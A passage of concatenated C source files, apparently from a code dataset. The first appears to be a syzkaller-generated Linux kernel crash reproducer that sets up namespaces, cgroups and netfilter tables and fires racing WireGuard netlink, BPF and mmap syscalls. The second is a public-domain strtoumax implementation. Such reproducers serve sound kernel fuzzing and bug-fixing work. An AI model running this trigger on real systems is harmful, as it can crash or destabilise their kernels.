if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; if (table->info.valid_hooks == 0) continue; struct ipt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_arptables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_arptables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; if (table->info.valid_hooks == 0) continue; struct arpt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } else { } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } #define NF_BR_NUMHOOKS 6 #define EBT_TABLE_MAXNAMELEN 32 #define EBT_CHAIN_MAXNAMELEN 32 #define EBT_BASE_CTL 128 #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL) #define EBT_SO_GET_INFO (EBT_BASE_CTL) #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1) #define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1) #define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1) struct ebt_replace { char name[EBT_TABLE_MAXNAMELEN]; unsigned int valid_hooks; unsigned int nentries; unsigned int entries_size; struct ebt_entries* hook_entry[NF_BR_NUMHOOKS]; unsigned int num_counters; struct ebt_counter* counters; char* entries; }; struct ebt_entries { unsigned int distinguisher; char name[EBT_CHAIN_MAXNAMELEN]; unsigned int counter_offset; int policy; unsigned int nentries; char data[0] __attribute__((aligned(__alignof__(struct ebt_replace)))); }; struct ebt_table_desc { const char* name; struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; }; static struct ebt_table_desc ebt_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "broute"}, }; static void checkpoint_ebtables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->replace.entries_size > sizeof(table->entrytable)) exit(1); table->replace.num_counters = 0; table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace, &optlen)) exit(1); } close(fd); } static void reset_ebtables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; if (table->replace.valid_hooks == 0) continue; struct ebt_replace replace; memset(&replace, 0, sizeof(replace)); strcpy(replace.name, table->name); socklen_t optlen = sizeof(replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen)) exit(1); replace.num_counters = 0; table->replace.entries = 0; for (unsigned h = 0; h < NF_BR_NUMHOOKS; h++) table->replace.hook_entry[h] = 0; if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) { char entrytable[XT_TABLE_SIZE]; memset(&entrytable, 0, sizeof(entrytable)); replace.entries = entrytable; optlen = sizeof(replace) + replace.entries_size; if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen)) exit(1); if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0) continue; } for (unsigned j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) { if (table->replace.valid_hooks & (1 << h)) { table->replace.hook_entry[h] = (struct ebt_entries*)table->entrytable + j; j++; } } table->replace.entries = table->entrytable; optlen = sizeof(table->replace) + table->replace.entries_size; if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_net_namespace(void) { checkpoint_ebtables(); checkpoint_arptables(); checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void reset_net_namespace(void) { reset_ebtables(); reset_arptables(); reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]), AF_INET, SOL_IP); reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]), AF_INET6, SOL_IPV6); } static void setup_cgroups() { if (mkdir("/syzcgroup", 0777)) { } if (mkdir("/syzcgroup/unified", 0777)) { } if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) { } if (chmod("/syzcgroup/unified", 0777)) { } write_file("/syzcgroup/unified/cgroup.subtree_control", "+cpu +memory +io +pids +rdma"); if (mkdir("/syzcgroup/cpu", 0777)) { } if (mount("none", "/syzcgroup/cpu", "cgroup", 0, "cpuset,cpuacct,perf_event,hugetlb")) { } write_file("/syzcgroup/cpu/cgroup.clone_children", "1"); write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1"); if (chmod("/syzcgroup/cpu", 0777)) { } if (mkdir("/syzcgroup/net", 0777)) { } if (mount("none", "/syzcgroup/net", "cgroup", 0, "net_cls,net_prio,devices,freezer")) { } if (chmod("/syzcgroup/net", 0777)) { } } static void setup_cgroups_loop() { int pid = getpid(); char file[128]; char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/pids.max", cgroupdir); write_file(file, "32"); snprintf(file, sizeof(file), "%s/memory.low", cgroupdir); write_file(file, "%d", 298 << 20); snprintf(file, sizeof(file), "%s/memory.high", cgroupdir); write_file(file, "%d", 299 << 20); snprintf(file, sizeof(file), "%s/memory.max", cgroupdir); write_file(file, "%d", 300 << 20); snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (mkdir(cgroupdir, 0777)) { } snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir); write_file(file, "%d", pid); } static void setup_cgroups_test() { char cgroupdir[64]; snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid); if (symlink(cgroupdir, "./cgroup")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.cpu")) { } snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid); if (symlink(cgroupdir, "./cgroup.net")) { } } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } setup_cgroups(); } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } static int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); initialize_vhci(); sandbox_common(); drop_caps(); initialize_netdevices_init(); if (unshare(CLONE_NEWNET)) { } initialize_tun(); initialize_netdevices(); initialize_wifi_devices(); loop(); exit(1); } #define FS_IOC_SETFLAGS _IOW('f', 2, long) static void remove_dir(const char* dir) { int iter = 0; DIR* dp = 0; retry: while (umount2(dir, MNT_DETACH) == 0) { } dp = opendir(dir); if (dp == NULL) { if (errno == EMFILE) { exit(1); } exit(1); } struct dirent* ep = 0; while ((ep = readdir(dp))) { if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0) continue; char filename[FILENAME_MAX]; snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name); while (umount2(filename, MNT_DETACH) == 0) { } struct stat st; if (lstat(filename, &st)) exit(1); if (S_ISDIR(st.st_mode)) { remove_dir(filename); continue; } int i; for (i = 0;; i++) { if (unlink(filename) == 0) break; if (errno == EPERM) { int fd = open(filename, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno != EBUSY || i > 100) exit(1); if (umount2(filename, MNT_DETACH)) exit(1); } } closedir(dp); for (int i = 0;; i++) { if (rmdir(dir) == 0) break; if (i < 100) { if (errno == EPERM) { int fd = open(dir, O_RDONLY); if (fd != -1) { long flags = 0; if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) { } close(fd); continue; } } if (errno == EROFS) { break; } if (errno == EBUSY) { if (umount2(dir, MNT_DETACH)) exit(1); continue; } if (errno == ENOTEMPTY) { if (iter < 100) { iter++; goto retry; } } } exit(1); } } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_loop() { setup_cgroups_loop(); checkpoint_net_namespace(); } static void reset_loop() { reset_net_namespace(); } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setup_cgroups_test(); write_file("/proc/self/oom_score_adj", "1000"); flush_tun(); } static void close_fds() { for (int fd = 3; fd < MAX_FDS; fd++) close(fd); } static void setup_binfmt_misc() { if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) { } write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:"); write_file("/proc/sys/fs/binfmt_misc/register", ":syz1:M:1:\x02::./file0:POC"); } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; int collide = 0; again: for (call = 0; call < 13; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 50 + (call == 8 ? 500 : 0)); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); close_fds(); if (!collide) { collide = 1; goto again; } } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { setup_loop(); int iter = 0; for (;; iter++) { char cwdbuf[32]; sprintf(cwdbuf, "./%d", iter); if (mkdir(cwdbuf, 0777)) exit(1); reset_loop(); int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { if (chdir(cwdbuf)) exit(1); setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5000) { continue; } kill_and_wait(pid, &status); break; } remove_dir(cwdbuf); } } #ifndef __NR_bpf #define __NR_bpf 321 #endif uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: NONFAILING(memcpy((void*)0x20000280, "wireguard\000", 10)); NONFAILING(syz_genetlink_get_family_id(0x20000280, -1)); break; case 1: res = syscall(__NR_socket, 0x10ul, 3ul, 0x10); if (res != -1) r[0] = res; break; case 2: NONFAILING(*(uint64_t*)0x200035c0 = 0); NONFAILING(*(uint32_t*)0x200035c8 = 0); NONFAILING(*(uint64_t*)0x200035d0 = 0); NONFAILING(*(uint64_t*)0x200035d8 = 1); NONFAILING(*(uint64_t*)0x200035e0 = 0); NONFAILING(*(uint64_t*)0x200035e8 = 0); NONFAILING(*(uint32_t*)0x200035f0 = 0); syscall(__NR_sendmsg, r[0], 0x200035c0ul, 0ul); break; case 3: NONFAILING(memcpy((void*)0x20000280, "wireguard\000", 10)); NONFAILING(syz_genetlink_get_family_id(0x20000280, -1)); break; case 4: syscall(__NR_socket, 0x10ul, 3ul, 0x10); break; case 5: NONFAILING(memcpy((void*)0x200001c0, "cgroup.controllers\000", 19)); res = syscall(__NR_openat, 0xffffff9c, 0x200001c0ul, 0x275aul, 0ul); if (res != -1) r[1] = res; break; case 6: syscall(__NR_write, r[1], 0x20000040ul, 0x208e24bul); break; case 7: syscall(__NR_mmap, 0x20000000ul, 0xb36000ul, 2ul, 0x28011ul, r[1], 0ul); break; case 8: NONFAILING(*(uint32_t*)0x20000200 = 0x18); NONFAILING(*(uint32_t*)0x20000204 = 5); NONFAILING(*(uint64_t*)0x20000208 = 0x20000080); NONFAILING(*(uint8_t*)0x20000080 = 0x18); NONFAILING(STORE_BY_BITMASK(uint8_t, , 0x20000081, 0, 0, 4)); NONFAILING(STORE_BY_BITMASK(uint8_t, , 0x20000081, 0, 4, 4)); NONFAILING(*(uint16_t*)0x20000082 = 0); NONFAILING(*(uint32_t*)0x20000084 = 0); NONFAILING(*(uint8_t*)0x20000088 = 0); NONFAILING(*(uint8_t*)0x20000089 = 0); NONFAILING(*(uint16_t*)0x2000008a = 0); NONFAILING(*(uint32_t*)0x2000008c = 9); NONFAILING(*(uint8_t*)0x20000090 = 0x18); NONFAILING(STORE_BY_BITMASK(uint8_t, , 0x20000091, 2, 0, 4)); NONFAILING(STORE_BY_BITMASK(uint8_t, , 0x20000091, 2, 4, 4)); NONFAILING(*(uint16_t*)0x20000092 = 0); NONFAILING(*(uint32_t*)0x20000094 = r[1]); NONFAILING(*(uint8_t*)0x20000098 = 0); NONFAILING(*(uint8_t*)0x20000099 = 0); NONFAILING(*(uint16_t*)0x2000009a = 0); NONFAILING(*(uint32_t*)0x2000009c = 0x2cf); NONFAILING(*(uint8_t*)0x200000a0 = 0x95); NONFAILING(*(uint8_t*)0x200000a1 = 0); NONFAILING(*(uint16_t*)0x200000a2 = 0); NONFAILING(*(uint32_t*)0x200000a4 = 0); NONFAILING(*(uint64_t*)0x20000210 = 0x20000100); NONFAILING(memcpy((void*)0x20000100, "GPL\000", 4)); NONFAILING(*(uint32_t*)0x20000218 = 0); NONFAILING(*(uint32_t*)0x2000021c = 0); NONFAILING(*(uint64_t*)0x20000220 = 0); NONFAILING(*(uint32_t*)0x20000228 = 0); NONFAILING(*(uint32_t*)0x2000022c = 0); NONFAILING(*(uint8_t*)0x20000230 = 0); NONFAILING(*(uint8_t*)0x20000231 = 0); NONFAILING(*(uint8_t*)0x20000232 = 0); NONFAILING(*(uint8_t*)0x20000233 = 0); NONFAILING(*(uint8_t*)0x20000234 = 0); NONFAILING(*(uint8_t*)0x20000235 = 0); NONFAILING(*(uint8_t*)0x20000236 = 0); NONFAILING(*(uint8_t*)0x20000237 = 0); NONFAILING(*(uint8_t*)0x20000238 = 0); NONFAILING(*(uint8_t*)0x20000239 = 0); NONFAILING(*(uint8_t*)0x2000023a = 0); NONFAILING(*(uint8_t*)0x2000023b = 0); NONFAILING(*(uint8_t*)0x2000023c = 0); NONFAILING(*(uint8_t*)0x2000023d = 0); NONFAILING(*(uint8_t*)0x2000023e = 0); NONFAILING(*(uint8_t*)0x2000023f = 0); NONFAILING(*(uint32_t*)0x20000240 = 0); NONFAILING(*(uint32_t*)0x20000244 = 2); NONFAILING(*(uint32_t*)0x20000248 = -1); NONFAILING(*(uint32_t*)0x2000024c = 8); NONFAILING(*(uint64_t*)0x20000250 = 0); NONFAILING(*(uint32_t*)0x20000258 = 0); NONFAILING(*(uint32_t*)0x2000025c = 0x10); NONFAILING(*(uint64_t*)0x20000260 = 0); NONFAILING(*(uint32_t*)0x20000268 = 0); NONFAILING(*(uint32_t*)0x2000026c = 0); NONFAILING(*(uint32_t*)0x20000270 = 0); syscall(__NR_bpf, 5ul, 0x20000200ul, 0x78ul); break; case 9: syscall(__NR_openat, r[1], 0ul, 0ul, 0ul); break; case 10: NONFAILING(*(uint64_t*)0x200035c0 = 0); NONFAILING(*(uint32_t*)0x200035c8 = 0); NONFAILING(*(uint64_t*)0x200035d0 = 0x20003580); NONFAILING(*(uint64_t*)0x20003580 = 0x200002c0); NONFAILING(*(uint32_t*)0x200002c0 = 0x74); NONFAILING(*(uint16_t*)0x200002c4 = 0); NONFAILING(*(uint16_t*)0x200002c6 = 1); NONFAILING(*(uint32_t*)0x200002c8 = 0); NONFAILING(*(uint32_t*)0x200002cc = 0); NONFAILING(*(uint8_t*)0x200002d0 = 1); NONFAILING(*(uint8_t*)0x200002d1 = 0); NONFAILING(*(uint16_t*)0x200002d2 = 0); NONFAILING(*(uint16_t*)0x200002d4 = 0x4c); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002d6, 8, 0, 14)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002d7, 0, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002d7, 1, 7, 1)); NONFAILING(*(uint16_t*)0x200002d8 = 3); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002da, 0, 0, 14)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002db, 0, 6, 1)); NONFAILING(STORE_BY_BITMASK(uint16_t, , 0x200002db, 1, 7, 1)); NONFAILING(*(uint16_t*)0x200002dc = 0x20); NONFAILING(*(uint16_t*)0x200002de = 4); NONFAILING(*(uint16_t*)0x200002e0 = 0xa); NONFAILING(*(uint16_t*)0x200002e2 = htobe16(0)); NONFAILING(*(uint32_t*)0x200002e4 = htobe32(0)); NONFAILING(*(uint8_t*)0x200002e8 = 0xfc); NONFAILING(*(uint8_t*)0x200002e9 = 1); NONFAILING(*(uint8_t*)0x200002ea = 0); NONFAILING(*(uint8_t*)0x200002eb = 0); NONFAILING(*(uint8_t*)0x200002ec = 0); NONFAILING(*(uint8_t*)0x200002ed = 0); NONFAILING(*(uint8_t*)0x200002ee = 0); NONFAILING(*(uint8_t*)0x200002ef = 0); NONFAILING(*(uint8_t*)0x200002f0 = 0); NONFAILING(*(uint8_t*)0x200002f1 = 0); NONFAILING(*(uint8_t*)0x200002f2 = 0); NONFAILING(*(uint8_t*)0x200002f3 = 0); NONFAILING(*(uint8_t*)0x200002f4 = 0); NONFAILING(*(uint8_t*)0x200002f5 = 0); NONFAILING(*(uint8_t*)0x200002f6 = 0); NONFAILING(*(uint8_t*)0x200002f7 = 0); NONFAILING(*(uint32_t*)0x200002f8 = 0); NONFAILING(*(uint16_t*)0x200002fc = 0x24); NONFAILING(*(uint16_t*)0x200002fe = 1); NONFAILING(memcpy( (void*)0x20000300, "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000", 32)); NONFAILING(*(uint16_t*)0x20000320 = 0x14); NONFAILING(*(uint16_t*)0x20000322 = 2); NONFAILING(memcpy((void*)0x20000324, "wg2\000\000\000\000\000\000\000\000\000\000\000\000\000", 16)); NONFAILING(*(uint64_t*)0x20003588 = 0x74); NONFAILING(*(uint64_t*)0x200035d8 = 1); NONFAILING(*(uint64_t*)0x200035e0 = 0); NONFAILING(*(uint64_t*)0x200035e8 = 0); NONFAILING(*(uint32_t*)0x200035f0 = 0); syscall(__NR_sendmsg, -1, 0x200035c0ul, 0ul); break; case 11: NONFAILING(syz_genetlink_get_family_id(0, -1)); break; case 12: NONFAILING(syz_genetlink_get_family_id(0, -1)); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_binfmt_misc(); install_segv_handler(); for (procid = 0; procid < 6; procid++) { if (fork() == 0) { use_temporary_dir(); do_sandbox_none(); } } sleep(1000000); return 0; }
the_stack_data/335195.c
/* This source code was extracted from the Q8 package created and placed in the PUBLIC DOMAIN by Doug Gwyn <[email protected]> last edit: 1999/11/05 [email protected] Implements subclause 7.8.2 of ISO/IEC 9899:1999 (E). This particular implementation requires the matching <inttypes.h>. It also assumes that character codes for A..Z and a..z are in contiguous ascending order; this is true for ASCII but not EBCDIC. */ #include <stdlib.h> #include <errno.h> #include <ctype.h> #include <inttypes.h> /* Helper macros */ /* convert digit character to number, in any base */ #define ToNumber(c) (isdigit(c) ? (c) - '0' : \ isupper(c) ? (c) - 'A' + 10 : \ islower(c) ? (c) - 'a' + 10 : \ -1 /* "invalid" flag */ \ ) /* validate converted digit character for specific base */ #define valid(n, b) ((n) >= 0 && (n) < (b)) uintmax_t strtoumax(nptr, endptr, base) register const char * __restrict__ nptr; char ** __restrict__ endptr; register int base; { register uintmax_t accum; /* accumulates converted value */ register uintmax_t next; /* for computing next value of accum */ register int n; /* numeral from digit character */ int minus; /* set iff minus sign seen (yes!) */ int toobig; /* set iff value overflows */ if ( endptr != NULL ) *endptr = (char *)nptr; /* in case no conversion's performed */ if ( base < 0 || base == 1 || base > 36 ) { errno = EDOM; return 0; /* unspecified behavior */ } /* skip initial, possibly empty sequence of white-space characters */ while ( isspace(*nptr) ) ++nptr; /* process subject sequence: */ /* optional sign (yes!) */ if ( (minus = *nptr == '-') || *nptr == '+' ) ++nptr; if ( base == 0 ) { if ( *nptr == '0' ) { if ( nptr[1] == 'X' || nptr[1] == 'x' ) base = 16; else base = 8; } else base = 10; } /* optional "0x" or "0X" for base 16 */ if ( base == 16 && *nptr == '0' && (nptr[1] == 'X' || nptr[1] == 'x') ) nptr += 2; /* skip past this prefix */ /* check whether there is at least one valid digit */ n = ToNumber(*nptr); ++nptr; if ( !valid(n, base) ) return 0; /* subject seq. not of expected form */ accum = n; for ( toobig = 0; n = ToNumber(*nptr), valid(n, base); ++nptr ) if ( accum > UINTMAX_MAX / base + 1 /* major wrap-around */ || (next = base * accum + n) < accum /* minor wrap-around */ ) toobig = 1; /* but keep scanning */ else accum = next; if ( endptr != NULL ) *endptr = (char *)nptr; /* points to first not-valid-digit */ if ( toobig ) { errno = ERANGE; return UINTMAX_MAX; } else return minus ? -accum : accum; /* (yes!) */ } unsigned long long __attribute__ ((alias ("strtoumax"))) strtoull (const char* __restrict__ nptr, char ** __restrict__ endptr, int base);
the_stack_data/152481.c
